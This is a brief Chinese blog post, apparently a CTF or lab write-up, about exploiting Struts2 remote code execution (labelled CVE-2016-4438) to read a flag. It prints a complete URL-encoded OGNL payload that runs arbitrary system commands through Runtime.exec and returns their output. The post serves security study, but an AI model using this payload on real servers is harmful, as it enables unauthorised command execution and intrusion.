struts2 代码执行 (CVE-2016-4438)

利用网上的exp

(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=id

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可以执行命令
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查看flag
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posted @ 2026-01-20 20:57  大雪深埋  阅读(16)  评论(0)    收藏  举报
// 正常配置 window.cnblogsConfig = { links: {}, }; // 友链页配置 window.cnblogsConfig.links.page = [ { title: '友情链接', // 标题 icon: 'icon-lianjie', // iconfont style: 'color: #a78bfa;', links: [ { name: '2_haowen_V', // 昵称 introduction: 'IT技术类博客', // 简介 avatar: 'https://pic.cnblogs.com/face/1334215/20180504110551.png', // 头像 url: 'https://www.hehaowen.com.cn/' // 友链地址 }, ] }, ];